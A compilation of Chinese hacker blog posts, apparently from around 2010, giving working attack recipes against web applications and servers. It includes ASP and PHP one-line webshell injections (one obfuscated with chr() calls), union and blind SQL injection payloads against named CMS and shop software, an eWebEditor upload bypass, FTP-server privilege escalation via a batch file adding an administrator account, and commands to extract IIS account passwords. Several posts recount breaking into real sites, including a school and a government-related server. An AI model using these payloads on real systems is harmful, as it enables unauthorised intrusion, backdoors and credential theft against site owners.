浅说双引号被过滤时一句话的插入
来源 http://www.daokers.com/article/original/609.htm
昨日小刀刀在群里抛了一个问题,说后台插入一句话老是出错,群里的朋友出了很多主意,但是最后还是没搞定。后来这小子把问题抛给了我,昨天我就测试了一下。这里把情况介绍给大家。
一般而言,后台插一句话,如果数据库扩展名是asp的话,那么插数据库,但是如果有配置文件可以插的话,那肯定是插入配置文件了,但是插入配置文件有一个很大的风险,那就是一旦出错那么全盘皆输,有可能不仅仅造成后台无法登陆,甚至有可能是整个网站系统崩溃,所以插入配置文件,请慎之又慎。
话归正题,如果想插入配置文件,一般是config.asp,那么首先需要了解这个文件的一般情况。
网站的配置一般是保存网站名,地址,email之类的,既然是字符,那么格式应当是
webname=“test website”
对于这样的配置插入一句话的话,我们的机会就是替换test website,那么需要闭合2个",同时要插入一句话,语句可以这样
"%><%eval request("d"%><%s="
那么在config.asp中就是
webname=“ "%><%eval request("d"%><%s=" ”
第一个"是闭合前面的配置文件中的",%>就是闭合前一段脚本,之后插入一句话<%eval request("d"%>,现在要闭合原来的"和%>
所以加入<%s=",这里特别要注意“s=”,如果没有这个等号的话,那么就会成<%" ",这样必将出错。
好了,这是常规的办法,现在我们回到开始那个问题,按照前面的方法插入
插入后,我们再点击“网站设置” ,出现错误
从这个错误,我们可以得到2个信息。
第一,配置文件的路径:http://www.target.com/zfbm/zfb/inc/config.asp
第二,网站名的变量为webname。
昨天由于很晚了,就没继续看,今天出差,晚上回来刚刚上Q,小刀刀就q我,说拿下了,并说这个后台过滤了双引号",结合昨天的错误一看果然是,由于我们闭合前面双引号起"的那个双引号收"被过滤成单引号',所以就成了webname=" ',这样的话那么这个双引号没有闭合,由于双引号是vbscript的控制符,没有闭合config.asp运行必然出错。那么我们遇到这种双引号被过滤了的情况改怎么办呢。
由于插入一句话必须要用双引号括起来,而输入双引号又被过滤,所以我们可以利用他们自身的双引号来解决。
在配置文件中,我们还可以看到这样一些设置
就是配置网站的公告数 ,文章数等。可以假设一下,他必然是整数赋值,没有双引号包括
num=5
num是整数型,不然就成字符了num="5"
那么我们的一句话就可以这样构建,如图
在公告数中我们插入5%><%eval request(webname)%><%
必须要有5,不然将会出错,在网站名中我们插入"open"
由于我们没有输入双引号,不存在过滤,我们利用 配置文件本身的双引号来达到目的。那么配置文件现在的内容如下
<%
....................
webname="open"
num=5%><%eval request(webname)%><%
webnum=7
.......
%>
我们的一句话就相应为
eval request("open"),open为密码。
用菜刀成功连接
从上可见,我们成功利用配置文件本身避开了一句话中双引号被过滤的问题。
那么在网页设计方面,我们可以增加过滤<,%,>或者组合<%,%>这些特殊符号,禁止这些符号的输入,那么将大大增加网页安全。
by daokers 2010.4.28深夜于Canton
邯郸学步,shopv8的注入漏洞
邯郸学步,shopv8的注入漏洞
文章:流浪的风 blog:http://www.st999.cn/blog
邯郸学步,按图索骥,大家不要笑了。。。
感谢闷豆,k4shifz,寒心冰剑……几位黑阔的帮忙。。。。
程序 :shopv8商城系统10.84
下载:http://www.codepub.com/software/view-software-7161.html
漏洞文件:list.asp
部分源码:
<%if IsNumeric(request.QueryString("id"))=False then
response.write("<script>alert(""非法访问!"");location.href=""index.asp"";</script>")
response.end
end if
dim id
id=request.QueryString("id")
if not isinteger(id) then
response.write"<script>alert(""非法访问!"");location.href=""index.asp"";</script>"
end if%>
<%dim bookid,action
bookid=request.QueryString("id")
action=request.QueryString("action")
if action="save" then
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from shop_pinglun",conn,1,3
rs.addnew
rs("bookid")=bookid
rs("pingji")=request("pingji")
rs("pinglunname")=HTMLEncode2(trim(request("pinglunname")))
rs("pingluntitle")=HTMLEncode2(trim(request("pingluntitle")))
rs("pingluncontent")=HTMLEncode2(trim(request("pingluncontent")))
rs("ip")=Request.servervariables("REMOTE_ADDR")
rs("pinglundate")=now()
rs("shenhe")=0
rs.update
rs.close
set rs=nothing
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from shop_books where bookid="&bookid,conn,1,3
rs("pingji")=rs("pingji")+1
rs("pingjizong")=rs("pingjizong")+request("pingji")
rs.update
rs.close
set rs=nothing
response.Write "<script language=javascript>alert('您的评论已成功提交!');history.go(-1);</script>"
response.End
end if
%>
<!--#include file="webtop.asp"-->
<TABLE cellSpacing=0 cellPadding=0 width=772 align=center border=0>
<TBODY>
<TR>
<td width="1" background="image/images/bgbg.gif"></td>
<TD class=b vAlign=top align=left width=770><table width="770" align="center" border="0" cellspacing="0" cellpadding="0" class="table-zuoyou" bordercolor="#CCCCCC">
<tr>
<td width="178" valign="top" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><!--#include file="history.asp"-->
<!--#include file="gouwucheinfo.asp"-->
<!--#include file="xiaoshourank.asp"-->
</td>
<td valign="top" class="table-zuo" align="center" bgcolor="#FFFFFF" bordercolor="#FFFFFF"><%set rs=server.createobject("adodb.recordset")
rs.open "select * from shop_books where bookid="&request("id"),conn,1,3
if rs.recordcount=0 then
%>
其中,if not isinteger(id) then
response.write"<script>alert(""非法访问!"");location.href=""index.asp"";</script>"
没有以response.end结束,那么request("id") ,我们也可以使用cookies给id赋值,那么注入就产生了。
只要把IE的安全设置设到最高,就可以阻止网页跳转到index.asp页面了。
(不知道这里的这样分析对不对,请大家指点)
利用方法:
先把安全设置设为最高,
注入点 http://127.0.0.1:99/list.asp?id=322
直接用注入中转器生成个页面,暴用户名和密码,如图
http://127.0.0.1:99/jmCook.asp?jmdcw=322%20and%201=2%20union%20select%
201,2,3,4,5,6,7,8,9,10,11,12,13,username,password,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,
34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53%20from%20admin
EimsCMS V3.7 一个很鸡肋的漏洞
by 不走的钟
EimsCMS V3.7 0day 默认后台:admin/login.asp 默认数据库:data/eimscms.mdb 漏洞文件: admin/checklogin.asp |
<!--#include file="../Include/1.asp" --> <!--#include file="../Include/Conn.asp"--> <!--#include file="../Include/Md5.asp"--> <% Response.Write "<html>" Response.Write "<head>" Response.Write "<meta http-equiv='Content-Type' content='text/html; charset=gb2312' />" Response.Write "<title>验证登陆</title>" Response.Write "</head>" Response.Write "<BODY>" '-------------------------------------------- Dim LoginName,LoginPassword,AdminName,Password,Permissions,UserName,Rs,Sql,UserID,SortID LoginName = Trim(Trim(Request.Form("LoginName"))) LoginPassword = Md5(Request.Form("LoginPassword")) If Session("CheckCode")<>Trim(Request.Form("CheckCode")) Then ClMsg("验证码错误!") Set Rs = Server.Createobject("Adodb.Recordset") Sql="Select * From [eims_User] Where Item1='"&LoginName&"'" //loginname显然没有过滤 Rs.Open Sql,Conn,1,1 If Rs.Eof Then ClMsg("此用户不存在!") Else UserID = Int(Trim(Rs("ItemID"))) SortID = Int(Trim(Rs("SortID"))) AdminName = Trim(Rs("Item1")) Password = Trim(Rs("Item2")) Permissions = Trim(Rs("Item9")) ItemRec = Trim(Rs("ItemRec")) End If If SortID <> 1 Then ClMsg("你不是管理员!") If Not ItemRec Then ClMsg("此用户已被冻结!") If LoginPassword<>Password Then ClMsg("密码错误!") If LoginName = AdminName And LoginPassword = Password Then //这句对loginname有比较,比较鸡肋……
利用:
http://127.0.0.1/admin/Login.asp
用户名注入构造语句如下:
a' or '1'='1 //提示“你不是管理员”说明sql成立因为'1'='1'成立
a' or (select top 1 len(Item1) from eims_User where ItemID=1)>=1 and '1'='1
//ItemID=1这个表示管理员 Item1表示管理员名
判断Item1的长度:
a' or (select top 1 len(Item1) from eims_User where ItemID=1)>=1 and '1'='1
用户名的值:
a' or (select top 1 asc(mid(Item1,6,1)) from eims_User where ItemID=1)=111 and '1'='1
密码的长度(默认为16位的md5):
a' or (select top 1 len(Item2) from eims_User where ItemID=1)=16 and '1'='1
//Item2为密码是16位的md5
16位密码的值:
a' or (select top 1 asc(mid(Item2,6,1)) from eims_User where ItemID=1)>=53 and '1'='1
后台拿shell :
登陆后台-网站设置-网站简介 插入内容如下:
www.007hack.com"+execute(request("007hack"))+"www.007hack.com
一句话木马地址:
http://127.0.0.1/Include/Config.asp
鸡肋二个地方,一是为access数据库,二是有验证码,但只有耐心手工一样可以破解出md5,无任何技术,记录下,下次再遇到就不用找表了……
ewebeditor无后台另类拿站
文章作者:yeshu
昨天很无聊,没事做就跑去检测同学学校的.
打开网站,找了下没找到..
-0看看有没有cookie注入也米用.都堵住了
图-1
找后台
http://www.xxxx.com/admin/admin_login.asp
试了下admin admin888
'or'='or'都没用
网上查了下这站也没有旁站
于是在看看网站图片属性
图-2
发现有ewebeditor
打开http://www.xxxx.com/admin/ewebeditor/admin_login.asp
图-3
发现后台被删了
在打开http://www.xxxx.com/admin/ewebeditor/db/ewebeditor.mdb
发现存在数据库,并下载
但打开数据库看后,没发现前辈留下的脚印
现在后台被删了,有没脚印于是想看看能否直接进后台样式
http://www.xxxx.com/admin/ewebeditor/admin_style.asp
图-4
直接进去了
但是我想直接在上面新增样式,却没用会跳转到admin_login.asp页面
图-5
郁闷了,不过想想既然可以直接这样输入地址进入样式管理项目,那试试可不可以直接输入上传文件管理的地方,这样就可以来遍历目录了
于是输入http://www.xxxx.com/admin/ewebeditor/admin_uploadfile.asp?id=22 成功进入
再继续来遍历目录了
http://www.xxxx.com/admin/ewebeditor/admin_uploadfile.asp?id=22&dir=../../..
图-6
继续遍历data目录
http://www.xxxx.com/admin/ewebeditor/admin_uploadfile.asp?id=22&dir=../../../data
(注意这里想遍历目录得自己手动在url上加上目录名才可以,若直接点网页上的链接浏览的话会直接跳转到admin_login.asp页面)
发现了数据库并下载得到后台账号密码
成功进入后台,但进后台后没发现可以利用的地方....遂放弃
再转战ewebeditor
继续看前面ewebedior是否还有利用的地方
前面在网页上点“添加样式”会跳到admin_login.asp,不知道为什么会这样?
然后就想先在自己电脑上的ewebeditor里面添加样式抓包,再把抓到的数据包改改地址给发送到目标网站上去,
结果测试nc提交后仍然会提示跳转到admin_login.asp
d_name=888&d_initmode=EDIT&d_uploadobject=0&d_autodir=0&d_dir=standard&d_css=office&d_width=600&d_height=400&d_stateflag=1&d_detectfromword=true&d_autoremote=1&d_showborder=0&d_baseurl=1&d_uploaddir=UploadFile%2F&d_basehref=http%3A%2F%2FLocalhost%2FeWebEditor%2F&d_contentpath=UploadFile%2F&d_imageext=gif%7Cjpg%7Cjpeg%7Cbmp%7Casa&d_imagesize=100&d_flashext=swf&d_flashsize=100&d_mediaext=rm%7Cmp3%7Cwav%7Cmid%7Cmidi%7Cra%7Cavi%7Cmpg%7Cmpeg%7Casf%7Casx%7Cwma%7Cmov&d_mediasize=100&d_fileext=rar%7Czip%7Cexe%7Cdoc%7Cxls%7Cchm%7Chlp&d_filesize=500&d_remoteext=gif%7Cjpg%7Cbmp&d_remotesize=100&d_memo=&x=29&y=14
想不通了..
最后再想想前面这个遍历目录时非得在url后面添加才可以浏览,那不相当于利用get方法提交数据么,难道这只能利用get方法提交才不会跳转到admin_login.asp页面
于是想着直接利用在网站上url上添加数据提交来直接添加样式
但至于怎么url我也不清楚,只知道抓包得到的
这个是要传递的数据
于是自己在本机上乱来,测试呗,
结果发现直接
这样就可以成功添加个样式,并且上传图片的格式可以是asa的。
图-7
但接下来又卡住了..
本来添加样式后就是添加栏了,
但自己在本机用同上的方法怎么测试,都不成功,郁闷了…
没办法了,但看看网站默认样式后面有个拷贝的选项
于是想着利用上面的方法拷贝个样式
然后再设置此样式里面的图片允许上传asa格式..,这样就好了,不用我自己来添加工具栏了
于是本机拷贝抓包发现提交http://www.xxxx.com/admin/ewebeditor/admin_style.asp?action=copy&id=14即可拷贝成功
图-8
成功在样式图片里面添加了asa格式
再http://www.xxxx.com/admin/ewebedito/
admin_style.asp?action=stylepreview&id=53预览此样式
打开上传图片的地方却发现还是不能上传asa格式文件
晕了,后台里明明现实可以提交asa格式的..
难道做了这么多,全是在自慰,只能看不能用的。。
火了,再用此方法,在自己电脑上测试却发现能行的通呀…
……………..
再跑去网站上看看那样式预览的结果,
Tmd的看了十几篇突然发现个问题..
这里面的gifjpgjpegbmp后面多了个 ""
图-9 10
然后想到会不是会管理员给过滤了asp了,
于是速度跑去用上面方法添加cer格式看看,发现也这样,可能也被过滤了
继续添加asaspp样式,过滤后asp后就剩下asp了
ok终于成功了
图-11
成功上传小马
图-12
最后admin_style.asp?action=styledel&id=55删除刚刚创建的样式 :注意后面的id得自己找对
dedecms 管理后台程序下载漏洞
dedecms 在禁止上传任何文件包括图片的时候 先把脚本木马成jpg然后传到另外一个站上 然后利用文章发布 直接填写上图片地址 提交 会自动把图片下载进服务器 然后利用更新首页 模板选择马的路径 更新为 .php 就是你的马。
G6FTP的一次入侵提权记录(图文)
早在二个小时前,完成了这次有意思的提权,利用户是G6FTP。
前台拿Webshell就不说了,动易的后台,进去自定义页面编辑小马生成页面即可,重点是提权。
在服务器溜达无意中发现管理员使用的是G6FTP,打开RemoteAdmin目录的Remote.ini文件,可查到管理员
32位MD5加密的密文,文本内容如下:
[Server]
IP=127.0.0.1,8021\r\n 这个是本地管理IP 和默认管理的端口,端口是可以修改的.
GrantAllAccessToLocalHost=0
[Acct=Administrator] 管理帐户
Enabled=1
Rights=0
Password=76b1fe1104d891816c9d606eb13211ed 管理帐户的密码
几秒钟的时间密码出来了,注意G6FTP的默认端口是不允许外链的,这个时候要用到HTRAN的端口转发功
能,把默认管理端口转发到其他端口,然后进行连接 ,把8021端口转发到51端口..
本地事先也安装一个Gene6 FTP Server软件.然后配置.
由于是某政府相关机构,这次的图要过滤一些敏感的信息,请大家不要对号入座了。
HOST那里输入你要提权的IP
PORT输入你用端口转发工具转发的端口,USERNAME和PASSWORD输入Gene6 FTP Server的帐户配置
文件所破解的帐号和密码信息,注意密码是MD5加密过的.必须输入明文的。
不出意外我们就可以连接上去了,我们可以新建一个普通的帐号,我这里建一个名为 kipos 密码为
kipos的帐号然后选择好管理目录,然后我们在权限配置那里配置好权限.可以全部选上..
这样还不能提权,这里到了我们最核心的一步。
1.写一个能执行命令的批处理文件,并上传到目标主。
@echo off
net user kipos kipos /add
net localgroup administrators kipos /add
2.然后在SITE COMMANDS那个地方再进行配置.
COMMAND那输入你的命令执行的名字,我写的是HACK DESCRIPTTION这个是写描述的。这里随便你写
什么都可以的。EXECUTE这里输入你的BAT的命令执行文件的路径.也就是你刚上传的那个文件的路径.点
OK就可以了。本以为很轻松的将服务器给提权,没想到正当CMD下连接FTP时,新建的kipos帐号用不了
纳闷,翻阅资料没找到相关原因,难道要服务重启才能使用帐号??? 汗,一不做二不休,既然新建的帐号不能用,咱们就来修改里面帐号的密码吧。。。 随便找一个,把权限给足了,然后设置目录为C盘或D盘(细节要注意,否则连不上,删掉之前目录,再 重新设置)接着把密码给改了,(后来发现其实不用改密码,在Accounts\user目录里面有各帐号的ini配 置文件,里面同样存在MD532位的密文)然后继续在FTP上面进行连接,可纳闷的是居然还是连接不上
这又是为什么?继续翻阅资料。。。。还真有原因说明。。。。
用户总是期望 ISA Server Web 代理服务将 USER 命令发送到 FTP 服务器后提示输入密码。FTP 服务器通过以 331 响应码做出响应来提示输入密码。然而,如果 FTP 服务器换作以 230(“User logged in, proceed”)响应,则 ISA Server 会曲解这个结果,于是您就收到了“症状”部分所描述的错误消息。
哎,这下还真难为我这个菜鸟了,头痛ing.....。等等,CMD下连接不上,那用FlashFXP能连么???
FlashFXP还真的可以连,这就更怪了。这事还是头一次碰到。几分钟后灵光一闪,FlashFXP能执行命令?
还真给我发现有执行命令的地方,呵呵,这次剑走偏峰看你还死不死。。。
纳闷的是命令回显结果不成功。
quote site hack
500 Unknown command.
CMD下的命令与FlashFXP格式不同???把quote去掉,激动。看到了200成功的提示。
马上登陆webshell net user 查看 终于加上了,权限是administrator。查看注册表发现终端3389端口改了
因为这次的服务器是外网,也省了LCX端口转发本地。(貌似大部分政府相关机构的服务器都是内网吖)
可谓一波三折吖,入侵过程中,思路要广。
转自http://hi.baidu.com/5427518/blog/item/506a228f5d7207fff01f3689.html
WordPress后台拿shell
WordPress3.0后台404页面可以自定义
“外观”-“编辑”-“404模板
<script language="php">fputs(fopen(chr(46).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(97).chr(93).chr(41).chr(59).chr(63).chr(62));</script>
插到文件头
点404模板的时候地址栏有相对路径,默认是wp-content\themes\twentyten\404.php
更新完直接访问localhost\wp-content\themes\twentyten\404.php就会在twentyten目录生成一句话后门a.php 密码a
cnbird提供的一个方法
==================
伟大娃娃的方法:
不是0day,只是之前用了一周的WP试着做博客来着。发现WP如果能进后台就可以直接拿SHELL的。
大牛说插入404文件,那个何必呢,动别人文件总归是不好,插挂了就悲剧了。
本机建立目录“wawa”,把一句话1.php放进去。打包wawa目录为zip文件。WP后台的主题管理,上传主题,安装。则你的后门路径为:
wp-content\themes\wawa\1.php
毫无技术含量,大牛不要拍我。
Adsutil.vbs 使用
获取 IUSR 帐户密码 IsSecureProperty = False ============================== 功能 语法 注意:在 Windows NT 4.0 中尝试获取密码时,密码显示为明文;但在 Windows 2000 中,密码显示为星号。若要在 Windows 2000 中也让密码显示为明文,必须修改 Adsutil.vbs,使它显示明码。为此,请按照下列步骤操作: 1. 在“记事本”中,打开 Adsutil.vbs。 一些常用的命令: Adsutil.vbs START_SERVER W3SVC/1 //启动第一个虚拟WEB站点。 Adsutil.vbs ENUM /P W3SVC //查看IIS的所有站点。
cscript.exe adsutil.vbs get w3svc/anonymoususerpass
获取 IWAM 帐户密码
cscript.exe adsutil.vbs get w3svc/wamuserpass
设置 IUSR 帐户密码
cscript.exe adsutil.vbs set w3svc/anonymoususerpass "password"
设置 IWAM 帐户密码
cscript.exe adsutil.vbs set w3svc/wamuserpass "password"
注:在获取密码的时候如果现实的结果密码为“******”,那么应当修改Adsutil.vbs文件
将
代码
If (Attribute = True) Then
IsSecureProperty = True
中的
代码
IsSecureProperty = True
改为
代码
获取 IUSR 帐户密码 cscript.exe adsutil.vbs get w3svc/anonymoususerpass
获取 IWAM 帐户密码 cscript.exe adsutil.vbs get w3svc/wamuserpass
设置 IUSR 帐户密码 cscript.exe adsutil.vbs set w3svc/anonymoususerpass "password"
更改 IUSR 帐户 cscript.exe adsutil.vbs set w3svc/anonymoususername "username"
设置 IWAM 帐户密码 cscript.exe adsutil.vbs set w3svc/wamuserpass "password"
更改 IWAM 帐户 cscript.exe adsutil.vbs set w3svc/WAMusername "username"
2. 在“编辑”菜单上,单击“查找”,键入 IsSecureProperty = True,然后单击“查找下一个”。
3. 将“IsSecureProperty = True”更改为“IsSecureProperty = False”。
4. 保存对 Adsutil.vbs 所做的更改,然后关闭“记事本”。
秒杀星外虚拟机系统(星外虚拟机提权"0day")
详细原文:http://www.t00ls.net/thread-13600-1-1.html
星外的最大的BUG就是 FTP是系统自带的,里面可以 通过列IIS配置信息 列出来。(上传个cscript.exe和 修改过的adsutil.vbs)
7i24虚拟主机管理平台受控端freehostrunat fa41328538d7be36e83ae91a78a1b16f!7
Freehostrunat这个用户是安装星外时候建立的,属于administrators用户组里的。到这里估计还是有人不明白 这个用户fa41328538d7be36e83ae91a78a1b16f!7 是什么加密方式。我先前也这样犯傻过,还跑去翻星外有关的注册表,配置文件等等,到最后还是没解密出来。后来想了想,他的验证过程不可能加密的,因为windows自带的FTP又不会识别他的这密文,其他网站都是明文,所以直接登陆就行。
网趣网上购物多用户时尚版最新版本存在漏洞
程序:网趣网上购物系统多用户时尚版 Build 101101
下载: http://www.codepub.com/d/downpage.php?n=1&id=3517::1157327981
/admin/listshj.asp?id=4567 丢到啊D里就能跑出来
listshj.asp未作验证,其中
<%dim shjiaid
shjiaid=request.querystring("id")
set rs=server.createobject("adodb.recordset")
rs.open "select * from [shjia] where shjiaid="&shjiaid ,conn,1,1%>
ID未作过滤,注入产生,直接丢到啊D里就行了,让工具自动吧
至于后面的id值是4567,是系统自带的商家的ID数值
至于自己注册的商家的ID数值,我没找到,汗了。
更夸张的是,直接打开这个网址,其中竟然还能上传,一看,晕了,竟然还有存在上传漏洞,以前的版本都不存在,怎么最新的版本倒是存在了。。。
upload.asp?formname=userinfo&editname=logo&uppath=upfile&filelx=jpg
/admin/review.asp
这个文件也存在漏洞,网上查了下,有人公布过了